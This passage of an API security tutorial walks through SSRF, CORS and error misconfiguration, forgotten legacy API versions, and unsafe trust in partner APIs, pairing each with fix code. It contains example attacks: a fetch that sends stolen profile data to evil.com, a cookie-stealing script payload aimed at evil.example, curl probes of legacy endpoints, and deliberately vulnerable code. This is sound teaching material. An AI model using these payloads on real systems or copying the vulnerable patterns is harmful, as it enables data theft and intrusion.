Admin panels, databases and dev tools that were "safe" because they weren't internet-facing become reachable anyway
Firewall / VPN Bypass
The request originates from inside the trusted perimeter, so network-level controls never see anything to block
Data Exfiltration
Once an internal service responds, its data can be smuggled back out inside the very response the attacker already controls
An attacker used a server-side request forgery flaw in a misconfigured web application firewall to make it fetch AWS instance metadata, obtaining temporary credentials for a role with far more access than it needed — and from there, over 100 million customers' records from S3.
Source: Wikipedia
ImageMagick, used by countless websites to process uploaded images, would follow embedded "https://" and other delegate URLs inside a crafted image file — letting an attacker make the server fetch internal URLs simply by uploading a specially-crafted image.
Source: Wikipedia
The Fix
Never let user input become the destination of a server-side request without an allowlist, IP checks, and no automatic redirects.
app.post('/api/invoices/:id/export-pdf', authenticateToken, async (req, res) => {
const { logo_url } = req.body;
// ✅ Only https:, only hostnames on an explicit allowlist
const ALLOWED_HOSTS = ['mycompany.com', 'cdn.mycompany.com'];
let parsed;
try { parsed = new URL(logo_url); } catch { return res.status(400).json({ error: 'Invalid URL' }); }
if (parsed.protocol !== 'https:' || !ALLOWED_HOSTS.includes(parsed.hostname)) {
return res.status(400).json({ error: 'logo_url host is not allowed' });
}
// ✅ Resolve DNS ourselves and reject private/link-local/loopback IPs —
// checking the hostname alone can't catch DNS rebinding
const resolvedIp = await resolveHostname(parsed.hostname);
if (isPrivateOrLinkLocal(resolvedIp)) {
return res.status(400).json({ error: 'logo_url resolves to a blocked address' });
}
// ✅ Fetch by resolved IP, pin the Host header, and never follow redirects
const logoResponse = await fetch(`https://${resolvedIp}${parsed.pathname}`, {
redirect: 'manual',
headers: { Host: parsed.hostname },
});
if (logoResponse.status >= 300 && logoResponse.status < 400) {
return res.status(400).json({ error: 'Redirects are not allowed for logo_url' });
}
const logoBuffer = await logoResponse.arrayBuffer();
const pdf = await renderInvoicePdf(req.params.id, logoBuffer);
res.contentType('application/pdf').send(pdf);
});
Check any client-supplied URL against an explicit allowlist before the server ever fetches it.
10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16, 127.0.0.0/8
and 169.254.0.0/16 should never be
reachable from an outbound fetch triggered by
user input.
Validating only the hostname is not enough — DNS rebinding can point an allowed-looking hostname at an internal IP after the check.
A URL that passes validation can still redirect somewhere dangerous — treat any redirect from a server-initiated fetch as a rejection, not a hop to follow.
A central proxy can enforce the allowlist and IP checks consistently, and log every outbound destination for later review.
Where the cloud provider supports it, require IMDSv2 (Instance Metadata Service version 2) token-based access — a plain GET request is no longer enough to read credentials.
Security Misconfiguration
APIs and the systems behind them come with a huge number of configuration knobs meant to make them flexible — CORS (Cross-Origin Resource Sharing) policy, documentation exposure, error verbosity, and more. Left at a permissive default, copied from a tutorial, or simply forgotten, any one of those knobs can turn into an open door that needs no exploit at all.
The Normal Flow
A developer visits the PetPal API's public portal and follows a link to the full API reference — a normal, helpful feature on the surface.
PetPal Developer Portal
Everything you need to build on the PetPal API — quick starts, API keys, and full interactive docs.
Quick Start Guide
Generate an API Key
Full Reference (Swagger UI)
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
X-Powered-By: Express
X-Framework-Version: PetPalAPI 2.3.0 (Node.js 16.14.2)
Cache-Control: no-store
Date: Tue, 15 Sep 2026 09:12:44 GMT
The Misconfigurations
Three separate settings, shipped by three different teams, that each look harmless on their own.
{
"openapi": "3.0.0",
"info": { "title": "PetPal API", "version": "2.3.0" },
"paths": {
"/v1/pets": { "get": {}, "post": {} },
"/v1/pets/{id}": { "get": {} },
"/v1/users/{id}": { "get": {} },
"/api/internal/debug/reset-db": {
"post": {
"summary": "Resets the staging DB to seed data",
"description": "INTERNAL USE ONLY — do not call in production"
}
}
}
}
// ❌ Browsers block Access-Control-Allow-Origin: '*' when credentials
// are involved — so instead of a wildcard, the request's own Origin
// header is echoed straight back, which achieves the same effect
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin || '*');
res.header('Access-Control-Allow-Credentials', 'true');
// ❌ No allowlist check — ANY calling site is reflected back as "allowed"
res.header('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE');
next();
});
Access-Control-Allow-Origin: * at least stays
safe from credentialed requests — browsers refuse to attach
cookies or tokens to a wildcard origin. Echoing the caller's
own Origin header back sidesteps that protection
entirely, because the response now names one specific origin —
whichever site happens to be asking.
500 Internal Server Error
Error: connect ECONNREFUSED 10.0.4.81:5432
at Connection.connect (/usr/src/app/node_modules/pg/lib/connection.js:126:17)
at /usr/src/app/node_modules/pg-pool/index.js:45:11
at Pool.connect (/usr/src/app/src/db/pool.js:22:9)
at /usr/src/app/src/routes/pets.js:58:14
Connection string: postgres://petpal_admin:••••••@10.0.4.81:5432/petpal_prod
at processTicksAndRejections (node:internal/process/task_queues:95:5)
Server: PetPalAPI 2.3.0 (Node.js 16.14.2 / Express 4.17.1)
The Attack
No scanning and no guessing required — the API's own documentation and headers hand over everything needed.
[
"/v1/pets",
"/v1/pets/{id}",
"/v1/users/{id}",
"/api/internal/debug/reset-db" ← never meant to be public
]
fetch('https://api.petpal.io/v1/users/me', {
credentials: 'include' // attach the victim's session cookie
}).then(r => r.json()).then(data => {
fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(data) });
});
▶ Access-Control-Allow-Origin: https://evil.com
▶ Access-Control-Allow-Credentials: true
▶ 200 OK — victim's profile, email and saved address exfiltrated
evil.com back as an
"allowed" origin and kept Allow-Credentials:
true — so the browser attached the victim's real
session cookie and handed the JSON response straight to a
page they never intentionally visited.
The Impact
What a handful of "convenient" defaults in production actually end up costing.
Three small settings, one combined blast radius.
Internal Endpoints Abused
Debug and admin-only routes, never meant for public traffic, get discovered and called directly
Cross-Origin Data Theft
Any website a logged-in user happens to visit can silently read their authenticated API responses
Information Disclosure
Stack traces and version banners hand attackers a head start on planning their next move
Compliance Failures
Auditors treat an exposed internal endpoint or leaked credential fragment as a baseline control failure
Power Apps portals shipped with their underlying data APIs set to public by default unless an admin explicitly locked them down. Over 38 million records — including COVID-19 contact-tracing data — were left reachable across hundreds of organizations.
Source: UpGuard
A misconfigured, internet-facing Elasticsearch server exposed order and shipping details for roughly 100,000 customers for weeks before it was properly secured — no attack technique required, just a browser and the right IP address.
Source: Wikipedia
The Fix
Lock down what's public, allowlist origins explicitly, and never let errors talk directly to the client.
// 1. CORS: an explicit allowlist — never a wildcard, never an origin-echo
// ✅ Only these known origins may ever receive a credentialed response
const ALLOWED_ORIGINS = ['https://app.petpal.io', 'https://admin.petpal.io'];
app.use(cors({
origin(origin, cb) {
if (!origin || ALLOWED_ORIGINS.includes(origin)) return cb(null, true);
cb(new Error('Not allowed by CORS'));
},
credentials: true,
}));
// 2. API docs: never public in production
// ✅ Swagger UI is gated behind admin auth outside of dev/staging
if (process.env.NODE_ENV === 'production') {
app.use('/api/swagger.json', requireAdminAuth, swaggerUi.serve);
} else {
app.use('/api/swagger.json', swaggerUi.serve);
}
// 3. Errors: log full detail server-side, return only a generic message
app.use((err, req, res, next) => {
// ✅ Full stack trace and DB detail go to the logs, never the response
const requestId = crypto.randomUUID();
logger.error({ requestId, err, stack: err.stack });
res.status(500).json({ error: 'Something went wrong.', requestId });
});
Swagger/OpenAPI UIs and debug routes belong behind authentication once they're off a developer's laptop.
Never a wildcard combined with credentials, and never a naive "echo whatever Origin was sent" pattern.
Log the full stack trace, file paths and connection details server-side — the client only needs a message and a request ID.
Staging, QA and production should all start from the same security checklist — not just the environment customers actually see.
Regularly and automatically — configuration drifts silently, one "just for now" change at a time.
Default credentials, sample configs and tutorial code have a way of surviving all the way to production.
Improper Inventory Management
APIs tend to expose more endpoints than traditional web applications, which makes an accurate, up-to-date inventory essential. Without a clear record of every host and every deployed API version, deprecated versions and forgotten debug endpoints stay reachable — and unprotected — long after anyone meant them to.
The Normal Flow
ParcelWave migrated its public API to
/api/v2/* two years ago. The developer portal looks
modern, current, and properly secured.
ParcelWave API — v2 Reference
Current, actively maintained. OAuth 2.0 required on every endpoint.
Same host, same underlying database — but two very different security postures.
| Aspect | /api/v1/* | /api/v2/* |
|---|---|---|
| Authentication | Static API key in query string | OAuth 2.0 access tokens |
| Rate limiting | None | 100 req/min per client |
| Last updated | 2019 | Actively maintained |
| Officially documented? | No — removed from the developer portal in 2021 | Yes — developer.parcelwave.com/docs/v2 |
| Monitored / alerting? | No — excluded from dashboards and on-call rotas | Full logging & alerting |
The Vulnerability Surface
/api/v1/* was never actually
decommissioned — it's still deployed, internet-facing, and
running on the same infrastructure as v2. It's just no longer
documented, monitored, or maintained.
# 1. Check the Wayback Machine for the old, since-removed docs page
curl -s "http://web.archive.org/web/2019*/developer.parcelwave.com/docs/v1"
# Result: the cached page still lists every /api/v1/* endpoint and its params
# 2. Pull strings out of an old mobile app build that never got updated
strings ParcelWave-v4.2.apk | grep -o '"https://api.parcelwave.com/v1/[a-zA-Z0-9/_-]*"'
# Result:
"https://api.parcelwave.com/v1/users"
"https://api.parcelwave.com/v1/shipments"
"https://api.parcelwave.com/v1/auth?apikey="
# 3. Or just... guess. It's the same host that serves v2.
curl -s -o /dev/null -w "%{http_code}\n" https://api.parcelwave.com/v1/users
# 200 ← still deployed, still listening
- It reads from the same underlying database as the "secure" v2 API — this isn't a sandbox, it's a live back door
- Its authentication predates OAuth: a single static API key passed in the query string, unchanged since 2019
- When v2 shipped proper auth and rate limiting, those fixes were never backported to v1 — the team assumed "nobody uses v1 anymore" and moved on
- Nobody monitors it, so a working exploit against it can run for months without triggering a single alert
The Attack
A forgotten static key, found in a two-year-old public gist, still opens the same users table v2 is supposedly protecting.
▶ 200 OK
[
{ id: 1, name: "Alice Tan", email: "alice.tan@gmail.com", phone: "+65 9123 4567", address: "22 Jalan Besar" },
{ id: 2, name: "Marcus Ong", email: "marcus.ong@gmail.com", phone: "+65 8812 9091", address: "5 Punggol Walk" },
...
] ← Same users table v2 reads from — just a weaker door into it
# Same host, same infrastructure — just try every legacy-sounding prefix
for prefix in v1 beta old internal; do
curl -s -o /dev/null -w "%{http_code} /api/${prefix}/users\n" \
"https://api.parcelwave.com/api/${prefix}/users"
done
# 200 /api/v1/users ← still deployed, weak auth, unmonitored
# 200 /api/beta/users ← a forgotten pilot feature, same exposure
# 404 /api/old/users
# 200 /api/internal/users ← never meant to be public at all
The Impact
A single un-retired version undoes years of security work on the one that replaced it.
What one un-decommissioned version costs, even while the "real" API stays fully secured.
Full Data Exposure via a Weaker Door
The exact same records as v2, reachable through a path with none of v2's protections
Wasted Patching Effort
Every security fix shipped to v2 — OAuth, rate limits — never made it back to v1
Wider, Unmanaged Attack Surface
Every un-decommissioned version is another set of endpoints nobody is actively defending
Incident Response Blind Spot
Nobody watches v1's logs, so a live compromise there can run indefinitely unnoticed
Reporting after the breach pointed to an internet-facing API — reportedly an old testing endpoint no longer meant to be in active use — that required no authentication and returned customer records for any ID requested. Roughly 9.8 million people's data was scraped from Optus, majority-owned by Singapore's Singtel.
Source: Wikipedia
Attackers entered through a front-end workstation and pivoted through the network for months, undetected, before reaching the patient records database — investigators tied the breach partly to a sprawling, imperfectly-monitored IT estate. 1.5 million patients' records were stolen, including the Prime Minister's.
Source: Wikipedia
The Fix
Retire versions on purpose, on a deadline, with a real inventory backing the decision — not an assumption that traffic will just stop coming.
// Deprecation window: v1 returns 410 Gone, but signaled removal in advance
const SUNSET_DATE = 'Wed, 31 Dec 2025 23:59:59 GMT';
app.all('/api/v1/*', (req, res) => {
// ✅ 410 Gone — distinct from 404, tells clients this is permanent, not missing
res.set('Sunset', SUNSET_DATE);
res.set('Deprecation', 'true');
res.set('Link', '<https://developer.parcelwave.com/docs/v2>; rel="successor-version"');
return res.status(410).json({
error: 'This API version was retired on 2025-12-31. Migrate to /api/v2/*.'
});
});
// Applied to every legacy prefix the inventory audit actually found —
// not just v1. Nothing reachable is left unaccounted for.
app.all(['/api/beta/*', '/api/internal/*'], sameRetirementHandler);
Track every host, environment and API version actually running — not just the ones you meant to keep.
Decommissioning an API version needs an owner and a date — not an assumption that traffic will "just stop."
Sunset and
Deprecation headers
Give any remaining clients real, machine-readable warning before a version is pulled entirely.
Find what's still reachable from the outside that shouldn't be — before an attacker does instead.
Auth, rate limiting and monitoring shouldn't be reserved for whichever version is newest this quarter.
Deleting a page from the developer portal doesn't stop the server behind it from still responding.
Unsafe Consumption of APIs
Developers tend to trust data coming back from third-party APIs more than they trust data typed in by their own users, so that data gets weaker validation — sometimes none at all. Attackers know this, and go after the integrated third-party service instead of attacking the target API directly.
The Normal Flow
A shopper checks out. To show a delivery estimate, the app's own backend calls a third-party logistics partner's API.
Shipping estimate
Estimated delivery via FastShip: 3 days
Tracking will be emailed once shipped
Rate quote source: partner-logistics.example
{
"carrier_name": "FastShip",
"tracking_url": "https://fastship.example/track/991A",
"eta_days": 3
}
The Vulnerable Code
The app's backend is the client here — and it trusts the partner's response completely, with no validation and no escaping.
// Our own backend calling a trusted partner's API
async function getRateQuote(order) {
const resp = await axios.get(
'https://partner-logistics.example/v1/rate-quote',
{ params: { postcode: order.postcode }, maxRedirects: 5 }
);
const quote = resp.data;
// ❌ Auto-follows any redirect the partner response points to —
// no check on where maxRedirects actually took the request
if (quote.redirect_url) {
return axios.get(quote.redirect_url);
}
// ❌ carrier_name / tracking_url go straight into storage,
// no schema validation, no sanitization — "it's from our partner"
await db.query(
'UPDATE orders SET carrier_name = $1, tracking_url = $2 WHERE id = $3',
[quote.carrier_name, quote.tracking_url, order.id]
);
// ❌ Rendered straight into an HTML email with no escaping
const emailHtml = `<p>Shipped via ${quote.carrier_name}.
Track it here: <a href="${quote.tracking_url}">${quote.tracking_url}</a></p>`;
return sendEmail(order.customer_email, emailHtml);
}
carrier_nameandtracking_urlare written straight into the database and later straight into an HTML email — with no output escaping, that's a stored injection risk- Any
redirect_urlthe partner's response supplies is followed automatically, with no check on the destination - None of this data passes through the same validation the app applies to its own users' input
The Attack
The partner's API itself is now compromised (or abused) — and the app never questions what comes back from it.
{
"carrier_name": "<script>document.location='https://evil.example/c?d='+document.cookie</script>",
"tracking_url": "http://169.254.169.254/internal-admin/reset",
"eta_days": 3
}
carrier_name is a
script payload waiting to render unescaped, and
tracking_url points at an internal-only
address the app will happily fetch or redirect to.
One compromised upstream response, followed without question, becomes two separate problems downstream.
The Impact
A vulnerability you never wrote a line of code for — inherited entirely from a partner integration.
What "just trusting the partner" ends up costing once their response is out of your control.
Stored XSS (Cross-Site Scripting)
A script payload from the partner reaches internal staff dashboards and customer emails
SSRF-Like Internal Exposure
Auto-followed redirects let a third party point your own server at internal-only addresses
Inherited Supply-Chain Compromise
The partner gets breached, and you inherit the consequences with zero code changes on your side
Blurred Incident Response
"Our API" and "their API" get conflated, slowing down root-cause analysis during a breach
3CX's desktop app was compromised because it was built on top of, and trusted, software from a different company — X_TRADER — which had itself already been compromised in an earlier, unrelated attack. Investigators described it as one of the first documented cases of one software supply-chain compromise cascading directly into another.
A parsing bug in Cloudflare's reverse proxy meant malformed HTML from certain customer origin servers could cause it to spill unrelated memory — including other customers' private data — into cached pages that search engines then indexed. It was found by Google's Project Zero.
Source: Cloudflare's incident report
The Fix
Treat every partner response like the untrusted input it is: validate it, escape it, and never let it steer your own requests.
// Pinned, versioned contract with the partner — never a moving target
const RATE_QUOTE_SCHEMA = z.object({
carrier_name: z.string().max(64).regex(/^[A-Za-z0-9 &.-]+$/),
tracking_url: z.string().url(),
eta_days: z.number().int().min(0).max(30),
});
async function getRateQuote(order) {
const resp = await axios.get(
'https://partner-logistics.example/v1/rate-quote',
{ params: { postcode: order.postcode }, maxRedirects: 0, timeout: 3000 }
);
// ✅ Validate against a strict schema — reject, don't pass through
const quote = RATE_QUOTE_SCHEMA.parse(resp.data);
// ✅ Never auto-follow a partner-supplied redirect; allowlist the host first
if (!ALLOWED_TRACKING_HOSTS.has(new URL(quote.tracking_url).host)) {
throw new Error('Untrusted tracking_url host');
}
await db.query(
'UPDATE orders SET carrier_name = $1, tracking_url = $2 WHERE id = $3',
[quote.carrier_name, quote.tracking_url, order.id]
);
// ✅ Escaped before ever reaching HTML, regardless of where it came from
const emailHtml = `<p>Shipped via ${escapeHtml(quote.carrier_name)}.
Track it here: <a href="${escapeHtml(quote.tracking_url)}">${escapeHtml(quote.tracking_url)}</a></p>`;
return sendEmail(order.customer_email, emailHtml);
}
Exactly like user input — "it's from our trusted partner" describes a contract, not a security guarantee.
Don't pass fields through because they're "probably fine" — an unexpected shape should fail loudly, not flow downstream.
The rendering layer shouldn't need to know or care whether a string came from a user or a partner.
Disable auto-redirects, or allowlist destination hosts before following anything a response supplies.
A slow or misbehaving partner API shouldn't be able to degrade your own service's reliability.
A partner's own partners are still part of your risk surface, even though you never signed a contract with them.